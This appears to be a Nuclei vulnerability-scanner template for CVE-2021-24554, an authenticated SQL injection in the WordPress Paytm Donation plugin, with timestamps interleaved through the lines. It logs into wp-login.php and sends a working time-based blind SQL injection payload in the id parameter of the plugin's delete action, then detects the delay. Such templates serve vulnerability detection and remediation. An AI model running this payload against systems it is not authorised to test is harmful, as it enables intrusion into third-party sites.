2023-03-05 13:42:10 +00:00
id : CVE-2021-24554
info :
2023-03-13 18:01:37 +00:00
name : WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
2023-03-05 13:42:10 +00:00
author : theamanrawat
severity : high
description : |
2023-03-13 18:01:37 +00:00
WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad
- https://wordpress.org/plugins/wp-paytm-pay/
2023-03-05 14:19:20 +00:00
- https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/
2023-03-13 18:01:37 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24554
2023-03-05 13:42:10 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2021-24554
cwe-id : CWE-89
2023-10-14 11:27:55 +00:00
epss-score : 0.15547
2023-11-01 14:45:21 +00:00
epss-percentile : 0.95304
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : freelancetoindia
product : paytm-pay
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : cve2021,sqli,wordpress,wp-plugin,wp,wp-paytm-pay,wpscan,cve
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout : 10s
GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "paytm-settings_page_wp_paytm_donation")'
condition : and
2023-11-01 14:45:21 +00:00
# digest: 4b0a00483046022100f4c119f75363fd41cc4bce7dd2f84949a99b20aa191bcb87cbd6339651aabb6c022100af2736daf16dd53d39a75ef6692d617a12402f48e5baa7ae9acee23cd736dca1:922c64590222798bb761d5b6d8e72950